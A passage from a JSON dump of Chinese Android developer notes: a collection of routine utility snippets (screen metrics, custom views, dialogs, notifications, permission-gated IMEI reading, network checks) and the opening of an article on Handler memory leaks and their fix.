//在这里处理加载数据等操作\n        } else {\n            //相当于Fragment的onPause\n        }\n    }\n\n```\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/Android进阶/Android项目总结3.md",
    "content": "# Android项目总结3\n\n> 最近又独立开发了一个公司内部的小app，现在的感觉就是每一次独立开发一个新的app，都会遇到不同的问题，也都能独立解决这些问题。感觉这个状态还可以吧，同时打算把这些问题记录一下，以后再遇到同样问题的时候，有一个可以查阅的资料，也能帮助其它遇到同样问题的小伙伴们吧。\n\n\n- 本次项目采用的网络框架：rxjava + retrofit2,这个就不在这里总结了，有空会单独总结一篇有关文章的。\n\n- 获取屏幕宽度\n\n```java\npublic int getScreenWidth(){\n        WindowManager wm = (WindowManager) this.getSystemService(Context.WINDOW_SERVICE);\n        DisplayMetrics dm = new DisplayMetrics();\n        wm.getDefaultDisplay().getMetrics(dm);\n        int width = dm.widthPixels;         // 屏幕宽度（像素）\n        int height = dm.heightPixels;       // 屏幕高度（像素）\n        float density = dm.density;         // 屏幕密度（0.75 / 1.0 / 1.5）\n        int densityDpi = dm.densityDpi;     // 屏幕密度dpi（120 / 160 / 240）\n        // 屏幕宽度算法:屏幕宽度（像素）/屏幕密度\n        int screenWidth = (int) (width / density);  // 屏幕宽度(dp)\n        int screenHeight = (int) (height / density);// 屏幕高度(dp)\n        return width;\n    }\n```\n\n- 获取屏幕高度\n\n```java\npublic int getScreenHeight(){\n        WindowManager wm = (WindowManager) this.getSystemService(Context.WINDOW_SERVICE);\n        DisplayMetrics dm = new DisplayMetrics();\n        wm.getDefaultDisplay().getMetrics(dm);\n        int width = dm.widthPixels;         // 屏幕宽度（像素）\n        int height = dm.heightPixels;       // 屏幕高度（像素）\n        float density = dm.density;         // 屏幕密度（0.75 / 1.0 / 1.5）\n        int densityDpi = dm.densityDpi;     // 屏幕密度dpi（120 / 160 / 240）\n        // 屏幕宽度算法:屏幕宽度（像素）/屏幕密度\n        int screenWidth = (int) (width / density);  // 屏幕宽度(dp)\n        int screenHeight = (int) (height / density);// 屏幕高度(dp)\n        getAndroiodScreenProperty();\n        return height;\n    }\n```\n\n- 获取进程名称\n\n```java\nprivate static String getProcessName(int pid) {\n        BufferedReader reader = null;\n        try {\n            reader = new BufferedReader(new FileReader(\"/proc/\" + pid + \"/cmdline\"));\n            String processName = reader.readLine();\n            if (!TextUtils.isEmpty(processName)) {\n                processName = processName.trim();\n            }\n            return processName;\n        } catch (Throwable throwable) {\n            throwable.printStackTrace();\n        } finally {\n            try {\n                if (reader != null) {\n                    reader.close();\n                }\n            } catch (IOException exception) {\n                exception.printStackTrace();\n            }\n        }\n        return null;\n    }\n```\n\n- 不能滑动的ViewPager\n\n```java\npublic class NoScrollViewPager extends ViewPager {\n    private boolean noScroll = true;\n\n    public NoScrollViewPager(Context context, AttributeSet attrs) {\n        super(context, attrs);\n    }\n\n    public NoScrollViewPager(Context context) {\n        super(context);\n    }\n\n    public void setNoScroll(boolean noScroll) {\n        this.noScroll = noScroll;\n    }\n\n    @Override\n    public void scrollTo(int x, int y) {\n        super.scrollTo(x, y);\n    }\n\n    @Override\n    public boolean onTouchEvent(MotionEvent arg0) {\n        if (noScroll)\n            return false;\n        else\n            return super.onTouchEvent(arg0);\n    }\n\n    @Override\n    public boolean onInterceptTouchEvent(MotionEvent arg0) {\n        if (noScroll)\n            return false;\n        else\n            return super.onInterceptTouchEvent(arg0);\n    }\n\n    @Override\n    public void setCurrentItem(int item, boolean smoothScroll) {\n        super.setCurrentItem(item, smoothScroll);\n    }\n\n    @Override\n\n    public void setCurrentItem(int item) {\n\n        super.setCurrentItem(item, false);//表示切换的时候，不需要切换时间。\n\n    }\n\n}\n```\n\n- 自定义loadingView\n\nLoadingBase.java\n\n```java\npublic abstract class LoadingBase extends View {\n\n    public LoadingBase(Context context) {\n        this(context, null);\n    }\n\n    public LoadingBase(Context context, AttributeSet attrs) {\n        this(context, attrs, 0);\n    }\n\n    public LoadingBase(Context context, AttributeSet attrs, int defStyleAttr) {\n        super(context, attrs, defStyleAttr);\n        InitPaint();\n    }\n\n    public void startAnim() {\n        stopAnim();\n        startViewAnim(0f, 1f, 500);\n    }\n\n    public void startAnim(int time) {\n        stopAnim();\n        startViewAnim(0f, 1f, time);\n    }\n\n\n    public void stopAnim() {\n        if (valueAnimator != null) {\n            clearAnimation();\n\n            valueAnimator.setRepeatCount(0);\n            valueAnimator.cancel();\n            valueAnimator.end();\n            if (OnStopAnim() == 0) {\n                valueAnimator.setRepeatCount(0);\n                valueAnimator.cancel();\n                valueAnimator.end();\n            }\n\n        }\n    }\n\n    public ValueAnimator valueAnimator;\n\n    private ValueAnimator startViewAnim(float startF, final float endF, long time) {\n        valueAnimator = ValueAnimator.ofFloat(startF, endF);\n        valueAnimator.setDuration(time);\n        valueAnimator.setInterpolator(new LinearInterpolator());\n\n\n        valueAnimator.setRepeatCount(SetAnimRepeatCount());\n\n\n\n        if (ValueAnimator.RESTART == SetAnimRepeatMode()) {\n            valueAnimator.setRepeatMode(ValueAnimator.RESTART);\n\n        } else if (ValueAnimator.REVERSE == SetAnimRepeatMode()) {\n            valueAnimator.setRepeatMode(ValueAnimator.REVERSE);\n\n        }\n\n        valueAnimator.addUpdateListener(new ValueAnimator.AnimatorUpdateListener() {\n            @Override\n            public void onAnimationUpdate(ValueAnimator valueAnimator) {\n                OnAnimationUpdate(valueAnimator);\n\n            }\n        });\n        valueAnimator.addListener(new AnimatorListenerAdapter() {\n            @Override\n            public void onAnimationEnd(Animator animation) {\n                super.onAnimationEnd(animation);\n\n            }\n\n            @Override\n            public void onAnimationStart(Animator animation) {\n\n                super.onAnimationStart(animation);\n            }\n\n            @Override\n            public void onAnimationRepeat(Animator animation) {\n                super.onAnimationRepeat(animation);\n                OnAnimationRepeat(animation);\n            }\n        });\n        if (!valueAnimator.isRunning()) {\n            AinmIsRunning();\n            valueAnimator.start();\n\n        }\n\n        return valueAnimator;\n    }\n\n\n    protected abstract void InitPaint();\n\n    protected abstract void OnAnimationUpdate(ValueAnimator valueAnimator);\n\n    protected abstract void OnAnimationRepeat(Animator animation);\n\n    protected abstract int OnStopAnim();\n\n    protected abstract int SetAnimRepeatMode();\n\n    protected abstract int SetAnimRepeatCount();\n\n    protected abstract void AinmIsRunning();\n\n\n    public int dip2px(float dpValue) {\n        final float scale = getContext().getResources().getDisplayMetrics().density;\n        return (int) (dpValue * scale + 0.5f);\n    }\n\n    public float getFontlength(Paint paint, String str) {\n        Rect rect = new Rect();\n        paint.getTextBounds(str, 0, str.length(), rect);\n        return rect.width();\n    }\n\n    public float getFontHeight(Paint paint, String str) {\n        Rect rect = new Rect();\n        paint.getTextBounds(str, 0, str.length(), rect);\n        return rect.height();\n\n    }\n\n    public float getFontHeight(Paint paint) {\n        Paint.FontMetrics fm = paint.getFontMetrics();\n        return fm.descent - fm.ascent;\n    }\n\n}\n\n```\n\nLoadingView.java\n\n```java\npublic class LoadingView extends LoadingBase {\n\n    private Paint mPaint;\n    private Paint mPaintPro;\n\n    private float mWidth = 0f;\n    private float mPadding = 0f;\n    private float startAngle = 0f;\n    RectF rectF = new RectF();\n\n    public LoadingView(Context context) {\n        super(context);\n    }\n\n    public LoadingView(Context context, AttributeSet attrs) {\n        super(context, attrs);\n    }\n\n    public LoadingView(Context context, AttributeSet attrs, int defStyleAttr) {\n        super(context, attrs, defStyleAttr);\n    }\n\n\n    @Override\n    protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {\n        super.onMeasure(widthMeasureSpec, heightMeasureSpec);\n\n        if (getMeasuredWidth() > getHeight())\n            mWidth = getMeasuredHeight();\n        else\n            mWidth = getMeasuredWidth();\n        mPadding = 5;\n    }\n\n    @Override\n    protected void onDraw(Canvas canvas) {\n        super.onDraw(canvas);\n\n        canvas.drawCircle(mWidth / 2, mWidth / 2, mWidth / 2 - mPadding, mPaintPro);\n        rectF = new RectF(mPadding, mPadding, mWidth - mPadding, mWidth - mPadding);\n        canvas.drawArc(rectF, startAngle, 100\n                , false, mPaint);//第四个参数是否显示半径\n\n    }\n\n\n    private void initPaint() {\n        mPaint = new Paint();\n        mPaint.setAntiAlias(true);\n        mPaint.setStyle(Paint.Style.STROKE);\n        mPaint.setColor(Color.WHITE);\n        mPaint.setStrokeWidth(8);\n\n        mPaintPro = new Paint();\n        mPaintPro.setAntiAlias(true);\n        mPaintPro.setStyle(Paint.Style.STROKE);\n        mPaintPro.setColor(Color.argb(100, 255, 255, 255));\n        mPaintPro.setStrokeWidth(8);\n\n    }\n\n\n    public void setViewColor(int color) {\n        mPaintPro.setColor(color);\n        postInvalidate();\n    }\n\n    public void setBarColor(int color) {\n        mPaint.setColor(color);\n        postInvalidate();\n    }\n\n\n    @Override\n    protected void InitPaint() {\n        initPaint();\n    }\n\n    @Override\n    protected void OnAnimationUpdate(ValueAnimator valueAnimator) {\n        float value = (float) valueAnimator.getAnimatedValue();\n        startAngle = 360 * value;\n\n        invalidate();\n    }\n\n    @Override\n    protected void OnAnimationRepeat(Animator animation) {\n\n    }\n\n    @Override\n    protected int OnStopAnim() {\n        return 0;\n    }\n\n    @Override\n    protected int SetAnimRepeatMode() {\n        return ValueAnimator.RESTART;\n    }\n\n    @Override\n    protected void AinmIsRunning() {\n\n    }\n\n    @Override\n    protected int SetAnimRepeatCount() {\n        return ValueAnimator.INFINITE;\n    }\n\n}\n\n```\n\n\n- 自定义异常\n\n```java\npublic class NetworkException extends RuntimeException {\n\n\n\n    public static final int REQUEST_OK = 100;\n    public static final int REQUEST_FAIL = 101;\n    public static final int METHOD_NOT_ALLOWED = 102;\n    public static final int PARAMETER_ERROR = 103;\n    public static final int UID_OR_PWD_ERROR = 104;\n    public static final int SERVER_INTERNAL_ERROR = 105;\n    public static final int REQUEST_TIMEOUT = 106;\n    public static final int CONNECTION_ERROR = 107;\n    public static final int VERIFY_EXPIRED = 108;\n    public static final int NO_DATA = 109;\n\n\n    public NetworkException(int resultCode) {\n        this(getNetworkExceptionMessage(resultCode));\n    }\n\n    public NetworkException(String detailMessage) {\n        super(detailMessage);\n    }\n\n    /**\n     * 将结果码转换成对应的文本信息\n     */\n    private static String getNetworkExceptionMessage(int code) {\n        String message = \"\";\n        switch (code) {\n            case REQUEST_OK:\n                message = \"请求成功\";\n                break;\n            case REQUEST_FAIL:\n                message = \"请求失败\";\n                break;\n\n            case METHOD_NOT_ALLOWED:\n                message = \"请求方式不允许\";\n                break;\n            case PARAMETER_ERROR:\n                message = \"用户不存在\";\n                break;\n            case UID_OR_PWD_ERROR:\n                message = \"用户名或密码错误\";\n                break;\n            case SERVER_INTERNAL_ERROR:\n                message = \"服务器内部错误\";\n                break;\n            case REQUEST_TIMEOUT:\n                message = \"请求超时\";\n                break;\n            case CONNECTION_ERROR:\n                message = \"连接错误\";\n                break;\n            case VERIFY_EXPIRED:\n                message = \"验证过期\";\n                break;\n            case NO_DATA:\n                message = \"没有数据\";\n                break;\n            case 110:\n                message = \"该用户已存在\";\n                break;\n            default:\n                message = \"未知错误\";\n        }\n        return message;\n    }\n\n}\n\n```\n\n- 自定义OnClickListener防止重复点击发生的问题\n\n```java\npublic abstract class NoDoubleClickListener implements View.OnClickListener {\n\n    private static final int MIN_CLICK_DELAY_TIME = 1000;\n    private long lastClickTime = 0;\n\n    @Override\n    public void onClick(View v) {\n        long time = System.currentTimeMillis();\n        if (time - lastClickTime > MIN_CLICK_DELAY_TIME) {\n            lastClickTime = time;\n            onNoDoubleClick(v);\n        }\n\n    }\n    public abstract void onNoDoubleClick(View v);\n}\n```\n\n- 创建notification并且添加点击事件\n\n```java\nPendingIntent mainPendingIntent = null;\n\nIntent mainIntent = new Intent(this, MainActivity.class);\nmainPendingIntent = PendingIntent.getActivity(this, 0, mainIntent, PendingIntent.FLAG_UPDATE_CURRENT);\n\n\n    NotificationManager mNotificationManager = (NotificationManager) getSystemService(NOTIFICATION_SERVICE);\n    NotificationCompat.Builder mBuilder = new NotificationCompat.Builder(this);\n    mBuilder.setContentTitle(\"您有新的订单,请登陆app查看\")//设置通知栏标题\n            .setContentIntent(getDefalutIntent(Notification.FLAG_AUTO_CANCEL)) //设置通知栏点击意图\n            //  .setNumber(number) //设置通知集合的数量\n            .setTicker(\"您有新的订单,请登陆app查看\") //通知首次出现在通知栏，带上升动画效果的\n            .setWhen(System.currentTimeMillis())//通知产生的时间，会在通知信息里显示，一般是系统获取到的时间\n            .setContentIntent(mainPendingIntent)\n            .setPriority(Notification.PRIORITY_DEFAULT) //设置该通知优先级\n            .setAutoCancel(true)//设置这个标志当用户单击面板就可以让通知将自动取消\n            .setOngoing(false)//ture，设置他为一个正在进行的通知。他们通常是用来表示一个后台任务,用户积极参与(如播放音乐)或以某种方式正在等待,因此占用设备(如一个文件下载,同步操作,主动网络连接)\n            .setDefaults(Notification.DEFAULT_VIBRATE)//向通知添加声音、闪灯和振动效果的最简单、最一致的方式是使用当前的用户默认设置，使用defaults属性，可以组合\n            //Notification.DEFAULT_ALL  Notification.DEFAULT_SOUND 添加声音 // requires VIBRATE permission\n            .setSmallIcon(R.mipmap.ic_launcher);//设置通知小ICON\n\n\n    mNotificationManager.notify(1, mBuilder.build());\n```\n\n\n- 获取Imei，兼容Android N(easypermission)\n\n```java\npublic class LoginActivity extends AppCompatActivity implements EasyPermissions.PermissionCallbacks {\n\n    private String imei = \"00000000000\";\n    @Override\n    protected void onCreate(@Nullable Bundle savedInstanceState) {\n        super.onCreate(savedInstanceState);\n        setContentView(R.layout.activity_login);\n        String[] perms = {android.Manifest.permission.READ_PHONE_STATE};\n        if (EasyPermissions.hasPermissions(this, perms)) {\n            Log.e(\"lin\", \"---lin--->  imie  if\");\n            TelephonyManager telephonyManager = (TelephonyManager) this.getApplicationContext().getSystemService(this.getApplicationContext().TELEPHONY_SERVICE);\n            imei = telephonyManager.getDeviceId();\n        } else {\n            Log.e(\"lin\", \"---lin--->  imie  else\");\n            EasyPermissions.requestPermissions(this, \"正在申请获取手机唯一编码\",\n                    100, perms);\n        }\n    }\n\n    @Override\n    public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) {\n        super.onRequestPermissionsResult(requestCode, permissions, grantResults);\n        // Forward results to EasyPermissions\n        EasyPermissions.onRequestPermissionsResult(requestCode, permissions, grantResults, this);\n    }\n\n    @Override\n    public void onPermissionsGranted(int requestCode, List<String> perms) {\n        TelephonyManager telephonyManager = (TelephonyManager) this.getApplicationContext().getSystemService(this.getApplicationContext().TELEPHONY_SERVICE);\n        imei = telephonyManager.getDeviceId();\n    }\n\n    @Override\n    public void onPermissionsDenied(int requestCode, List<String> perms) {\n\n    }\n\n}\n```\n\n- 倒计时控件\n\n```java\nprivate TimeCount mTimeCount;\nmTimeCount = new TimeCount(60000, 1000);\nmTimeCount.start();\n\nclass TimeCount extends CountDownTimer {\n    public TimeCount(long millisInFuture, long countDownInterval) {\n        super(millisInFuture + 200 , countDownInterval);\n    }\n\n    @Override\n    public void onFinish() {// 计时完毕\n        tvGetCodeActivityLogin.setText(\"获取验证码\");\n        tvGetCodeActivityLogin.setClickable(true);\n    }\n\n\n    @Override\n    public void onTick(long millisUntilFinished) {// 计时过程\n        long time = millisUntilFinished / 1000;\n        String timeString = String.valueOf(time);\n        timeString = timeString + \"S\";\n        tvGetCodeActivityLogin.setText(timeString);\n        tvGetCodeActivityLogin.setClickable(false);//防止重复点击\n    }\n}\n```\n\n- 设置editext hint字的颜色值\n\n```java\nCharSequence hint = edtAuthCodeActivityLogin.getHint();\nSpannableString ss =  new SpannableString(hint);\nAbsoluteSizeSpan ass = new AbsoluteSizeSpan(17, true);\nedtAuthCodeActivityLogin.setHintTextColor(0xffdddddd);\nss.setSpan(ass, 0, ss.length(), Spanned.SPAN_EXCLUSIVE_EXCLUSIVE);\nedtAuthCodeActivityLogin.setHint(new SpannedString(\"短信验证码\"));\n```\n\n- App内采用的开源相册 Album\n\n- 图片压缩框架 Luban\n\n- fragment类似activity的onResume()\n```java\nprotected boolean isCreate = false;\n\n@Override\n    public void setUserVisibleHint(boolean isVisibleToUser) {\n        super.setUserVisibleHint(isVisibleToUser);\n        if (isVisibleToUser && isCreate) {\n            getOrderList(\"-1\");\n        }\n    }\n```\n\n- 利用反射设置tablayout下划线长度\n\n```java\ntabLayoutOrderFragment.post(new Runnable() {\n            @Override\n            public void run() {\n                setIndicator(tabLayoutOrderFragment,20,20);\n            }\n        });\n\npublic void setIndicator(TabLayout tabs, int leftDip, int rightDip) {\n        Class<?> tabLayout = tabs.getClass();\n        Field tabStrip = null;\n        try {\n            tabStrip = tabLayout.getDeclaredField(\"mTabStrip\");\n        } catch (NoSuchFieldException e) {\n            e.printStackTrace();\n        }\n\n        tabStrip.setAccessible(true);\n        LinearLayout llTab = null;\n        try {\n            llTab = (LinearLayout) tabStrip.get(tabs);\n        } catch (IllegalAccessException e) {\n            e.printStackTrace();\n        }\n\n        int left = (int) TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_DIP, leftDip, Resources.getSystem().getDisplayMetrics());\n        int right = (int) TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_DIP, rightDip, Resources.getSystem().getDisplayMetrics());\n\n        for (int i = 0; i < llTab.getChildCount(); i++) {\n            View child = llTab.getChildAt(i);\n            child.setPadding(0, 0, 0, 0);\n            LinearLayout.LayoutParams params = new LinearLayout.LayoutParams(0, LinearLayout.LayoutParams.MATCH_PARENT, 1);\n            params.leftMargin = left;\n            params.rightMargin = right;\n            child.setLayoutParams(params);\n            child.invalidate();\n        }\n\n    }\n```\n\n- 封装一个链式调用的dialog\n\n```java\npublic class DialogUtils {\n\n    private Context mContext;\n    private AlertDialog mAlertDialog;\n    private DialogUtils.Builder mBuilder;\n    private boolean mHasShow = false;\n    private String mTitle;\n    private String mMessage;\n    private int messageColor = -1;\n    private SingleButtonCallback mPositiveCallback;\n    private SingleButtonCallback mNegativeCallback = new SingleButtonCallback() {\n        @Override\n        public void onClick(@NonNull DialogUtils dialog, View.OnClickListener listener) {\n            dismiss();\n        }\n    };\n    private boolean mCancel;\n\n\n    public DialogUtils(Context context) {\n        this.mContext = context;\n    }\n\n    public void show() {\n        if (!mHasShow) {\n            mBuilder = new Builder();\n        } else {\n            mAlertDialog.show();\n        }\n        mHasShow = true;\n    }\n\n    public void dismiss() {\n        mAlertDialog.dismiss();\n    }\n\n    public DialogUtils setTitle(String title) {\n        this.mTitle = title;\n        if (mBuilder != null) {\n            mBuilder.setTitle(title);\n        }\n        return this;\n    }\n\n    public DialogUtils setMessage(String message) {\n        this.mMessage = message;\n        if (mBuilder != null) {\n            mBuilder.setMessage(message);\n        }\n        return this;\n    }\n\n    public DialogUtils setMessageColor(int color) {\n        this.messageColor = color;\n        return this;\n    }\n\n    public DialogUtils setCanceledOnTouchOutside(boolean cancel) {\n        this.mCancel = cancel;\n        if (mBuilder != null) {\n            mBuilder.setCanceledOnTouchOutside(mCancel);\n        }\n        return this;\n    }\n\n    public DialogUtils setPositive(SingleButtonCallback positiveCallback) {\n        this.mPositiveCallback = positiveCallback;\n        return this;\n    }\n\n    public DialogUtils setNegative(SingleButtonCallback negativeCallback) {\n        this.mNegativeCallback = negativeCallback;\n        return this;\n    }\n\n\n    public enum DialogAction {\n        POSITIVE,\n        NEGATIVE\n    }\n\n    public interface SingleButtonCallback {\n        void onClick(@NonNull DialogUtils dialog, View.OnClickListener listener);\n    }\n\n\n    private class Builder {\n\n        private TextView mTitleView;\n        private TextView mMessageView;\n        private TextView mPositive, mNegative;\n        private Window mAlertDialogWindow;\n        private RelativeLayout mDialog;\n\n        private Builder() {\n            mAlertDialog = new AlertDialog.Builder(mContext, R.style.Theme_AppCompat_Dialog).create();\n            mAlertDialog.show();\n            mAlertDialog.getWindow()\n                    .clearFlags(WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE |\n                            WindowManager.LayoutParams.FLAG_ALT_FOCUSABLE_IM);\n            mAlertDialog.getWindow()\n                    .setSoftInputMode(WindowManager.LayoutParams.SOFT_INPUT_MASK_STATE);\n\n            mAlertDialogWindow = mAlertDialog.getWindow();\n            mAlertDialogWindow.setBackgroundDrawable(\n                    new ColorDrawable(android.graphics.Color.TRANSPARENT));\n            View contentView = LayoutInflater.from(mContext)\n                    .inflate(R.layout.dialog_util_layout, null);\n            contentView.setFocusable(true);\n            contentView.setFocusableInTouchMode(true);\n            mAlertDialogWindow.setBackgroundDrawableResource(R.drawable.material_dialog_window);\n            mAlertDialogWindow.setContentView(contentView);\n            mTitleView = (TextView) mAlertDialogWindow.findViewById(R.id.tv_title);\n            mMessageView = (TextView) mAlertDialogWindow.findViewById(R.id.tv_hint);\n            mPositive = (TextView) mAlertDialogWindow.findViewById(R.id.tv_sure);\n            mNegative = (TextView) mAlertDialogWindow.findViewById(R.id.tv_cancel);\n            mDialog = (RelativeLayout) mAlertDialogWindow.findViewById(R.id.dialog);\n            Log.i(\"lin\", \"----lin----> 宽 \" + MyApplication.get().getScreenWidth());\n            Log.i(\"lin\", \"----lin----> 高 \" + MyApplication.get().getScreenHeight());\n\n            mDialog.setLayoutParams(new RelativeLayout.LayoutParams(MyApplication.get().getScreenWidth() / 4 * 3, MyApplication.get().getScreenHeight() / 4));\n            if (mTitle != null) {\n                mTitleView.setText(mTitle);\n            }\n            if (mMessage != null) {\n                mMessageView.setText(mMessage);\n            }\n            if (messageColor != -1) {\n                mMessageView.setTextColor(messageColor);\n            }\n            mAlertDialog.setCanceledOnTouchOutside(mCancel);\n            mAlertDialog.setCancelable(mCancel);\n            if (mPositiveCallback != null) {\n                mPositive.setOnClickListener(new View.OnClickListener() {\n                    @Override\n                    public void onClick(View v) {\n                        mPositiveCallback.onClick(DialogUtils.this, this);\n                    }\n                });\n            }\n            if (mNegativeCallback != null) {\n                mNegative.setOnClickListener(new View.OnClickListener() {\n                    @Override\n                    public void onClick(View v) {\n                        mNegativeCallback.onClick(DialogUtils.this, this);\n                    }\n                });\n            }\n\n        }\n\n\n        public void setTitle(String title) {\n            mTitleView.setText(title);\n        }\n\n        public void setMessage(String message) {\n            if (mMessageView != null) {\n                mMessageView.setText(message);\n            }\n        }\n\n        public void setCanceledOnTouchOutside(boolean canceledOnTouchOutside) {\n            mAlertDialog.setCanceledOnTouchOutside(canceledOnTouchOutside);\n            mAlertDialog.setCancelable(canceledOnTouchOutside);\n        }\n\n    }\n\n}\n```\n\n- 将loadingView封装成loadingViewDialog\n\n```java\npublic class LoadingUtils {\n\n\n    private Context mContext;\n    private AlertDialog mAlertDialog;\n    private LoadingUtils.Builder mBuilder;\n    private boolean mHasShow = false;\n    private String mMessage;\n    private boolean mCancel;\n\n\n    public LoadingUtils(Context context) {\n        this.mContext = context;\n    }\n\n    public void show() {\n        if (!mHasShow) {\n            mBuilder = new LoadingUtils.Builder();\n        } else {\n            mAlertDialog.show();\n        }\n        mHasShow = true;\n    }\n\n    public void dismiss() {\n        mAlertDialog.dismiss();\n    }\n\n\n    public LoadingUtils setMessage(String message) {\n        this.mMessage = message;\n        if (mBuilder != null) {\n            mBuilder.setMessage(message);\n        }\n        return this;\n    }\n\n    public LoadingUtils setCanceledOnTouchOutside(boolean cancel) {\n        this.mCancel = cancel;\n        if (mBuilder != null) {\n            mBuilder.setCanceledOnTouchOutside(mCancel);\n        }\n        return this;\n    }\n\n    private class Builder {\n\n        private Window mAlertDialogWindow;\n        private TextView mMessageView;\n        private RelativeLayout mDialog;\n        private LoadingView loadingView;\n\n        private Builder() {\n            mAlertDialog = new AlertDialog.Builder(mContext, R.style.Theme_AppCompat_Dialog).create();\n            mAlertDialog.show();\n            mAlertDialog.getWindow()\n                    .clearFlags(WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE |\n                            WindowManager.LayoutParams.FLAG_ALT_FOCUSABLE_IM);\n            mAlertDialog.getWindow()\n                    .setSoftInputMode(WindowManager.LayoutParams.SOFT_INPUT_MASK_STATE);\n\n            mAlertDialogWindow = mAlertDialog.getWindow();\n            mAlertDialogWindow.setBackgroundDrawable(\n                    new ColorDrawable(android.graphics.Color.TRANSPARENT));\n            View contentView = LayoutInflater.from(mContext)\n                    .inflate(R.layout.loading_view_layout, null);\n            contentView.setFocusable(true);\n            contentView.setFocusableInTouchMode(true);\n            mAlertDialogWindow.setBackgroundDrawableResource(R.drawable.material_dialog_window);\n            mAlertDialogWindow.setContentView(contentView);\n            mDialog = (RelativeLayout) contentView.findViewById(R.id.rl_loading_view);\n            mMessageView = (TextView) contentView.findViewById(R.id.tv_hint);\n            loadingView = (LoadingView) contentView.findViewById(R.id.loading_view);\n\n            loadingView.setViewColor(Color.argb(100, 255, 255, 255));\n            loadingView.startAnim();\n            loadingView.setBarColor(0xFF42a5f5);\n            loadingView.startAnim();\n\n\n            Log.i(\"lin\", \"----lin----> 宽 \" + MyApplication.get().getScreenWidth());\n            Log.i(\"lin\", \"----lin----> 高 \" + MyApplication.get().getScreenHeight());\n\n            mDialog.setLayoutParams(new FrameLayout.LayoutParams(MyApplication.get().getScreenWidth() / 4 * 3, MyApplication.get().getScreenHeight() / 4));\n\n            if (mMessage != null) {\n                mMessageView.setText(mMessage);\n            }\n            mAlertDialog.setCanceledOnTouchOutside(mCancel);\n            mAlertDialog.setCancelable(mCancel);\n        }\n\n\n        public void setMessage(String message) {\n            if (mMessageView != null) {\n                mMessageView.setText(message);\n            }\n        }\n\n        public void setCanceledOnTouchOutside(boolean canceledOnTouchOutside) {\n            mAlertDialog.setCanceledOnTouchOutside(canceledOnTouchOutside);\n            mAlertDialog.setCancelable(canceledOnTouchOutside);\n        }\n\n    }\n\n}\n\n```\n\n- 判断当前app是否有网络\n```java\npublic static boolean isNetworkAvailable(Context context) {\n        ConnectivityManager cm = (ConnectivityManager) context\n                .getSystemService(Context.CONNECTIVITY_SERVICE);\n        if (cm == null) {\n\n        } else {\n            NetworkInfo[] info = cm.getAllNetworkInfo();\n            if (info != null) {\n                for (int i = 0; i < info.length; i++) {\n                    if (info[i].getState() == NetworkInfo.State.CONNECTED) {\n                        return true;\n                    }\n                }\n            }\n        }\n        return false;\n    }\n```\n"
  },
  {
    "path": "docs/android/AndroidNote/Android进阶/Handler引起的内存泄漏以及分析.md",
    "content": "# Handler内存泄漏分析及解决\n---\n\n### 一、介绍\n\n首先，请浏览下面这段handler代码：\n\n```\npublic class SampleActivity extends Activity {\n  private final Handler mLeakyHandler = new Handler() {\n    @Override\n    public void handleMessage(Message msg) {\n      // ... \n    }\n  }\n}\n```\n\n在使用handler时，这是一段很常见的代码。但是，它却会造成严重的内存泄漏问题。在实际编写中，我们往往会得到如下警告：\n\n```\n ⚠ In Android, Handler classes should be static or leaks might occur.\n\n```\n\n### 二、分析\n\n1、 Android角度\n\n当Android应用程序启动时，framework会为该应用程序的主线程创建一个Looper对象。这个Looper对象包含一个简单的消息队列Message Queue，并且能够循环的处理队列中的消息。这些消息包括大多数应用程序framework事件，例如Activity生命周期方法调用、button点击等，这些消息都会被添加到消息队列中并被逐个处理。\n\n另外，主线程的Looper对象会伴随该应用程序的整个生命周期。\n\n然后，当主线程里，实例化一个Handler对象后，它就会自动与主线程Looper的消息队列关联起来。所有发送到消息队列的消息Message都会拥有一个对Handler的引用，所以当Looper来处理消息时，会据此回调[Handler#handleMessage(Message)]方法来处理消息。\n\n2、 Java角度\n\n在java里，非静态内部类 和 匿名类 都会潜在的引用它们所属的外部类。但是，静态内部类却不会。\n\n###三、泄漏来源\n\n请浏览下面一段代码：\n\n```\npublic class SampleActivity extends Activity {\n\n  private final Handler mLeakyHandler = new Handler() {\n    @Override\n    public void handleMessage(Message msg) {\n      // ...\n    }\n  }\n\n  @Override\n  protected void onCreate(Bundle savedInstanceState) {\n    super.onCreate(savedInstanceState);\n\n    // Post a message and delay its execution for 10 minutes.\n    mLeakyHandler.postDelayed(new Runnable() {\n      @Override\n      public void run() { /* ... */ }\n    }, 1000 * 60 * 10);\n\n    // Go back to the previous Activity.\n    finish();\n  }\n}\n```\n\n当activity结束(finish)时，里面的延时消息在得到处理前，会一直保存在主线程的消息队列里持续10分钟。而且，由上文可知，这条消息持有对handler的引用，而handler又持有对其外部类（在这里，即SampleActivity）的潜在引用。这条引用关系会一直保持直到消息得到处理，从而，这阻止了SampleActivity被垃圾回收器回收，同时造成应用程序的泄漏。\n\n<<<<<<< HEAD\n注意，上面代码中的Runnable类--非静态匿名类--同样持有对其外部类的引用。从而也导致泄漏。\n\n### 四、泄漏解决方案\n\n首先，上面已经明确了内存泄漏来源：\n\n只要有未处理的消息，那么消息会引用handler，非静态的handler又会引用外部类，即Activity，导致Activity无法被回收，造成泄漏；\n\nRunnable类属于非静态匿名类，同样会引用外部类。\n\n为了解决遇到的问题，我们要明确一点：静态内部类不会持有对外部类的引用。所以，我们可以把handler类放在单独的类文件中，或者使用静态内部类便可以避免泄漏。\n\n另外，如果想要在handler内部去调用所在的外部类Activity，那么可以在handler内部使用弱引用的方式指向所在Activity，这样统一不会导致内存泄漏。\n\n对于匿名类Runnable，同样可以将其设置为静态类。因为静态的匿名类不会持有对外部类的引用。\n\n```\npublic class SampleActivity extends Activity {\n\n  /**\n   * Instances of static inner classes do not hold an implicit\n   * reference to their outer class.\n   */\n  private static class MyHandler extends Handler {\n    private final WeakReference<SampleActivity> mActivity;\n\n    public MyHandler(SampleActivity activity) {\n      mActivity = new WeakReference<SampleActivity>(activity);\n    }\n\n    @Override\n    public void handleMessage(Message msg) {\n      SampleActivity activity = mActivity.get();\n      if (activity != null) {\n        // ...\n      }\n    }\n  }\n\n  private final MyHandler mHandler = new MyHandler(this);\n\n  /**\n   * Instances of anonymous classes do not hold an implicit\n   * reference to their outer class when they are 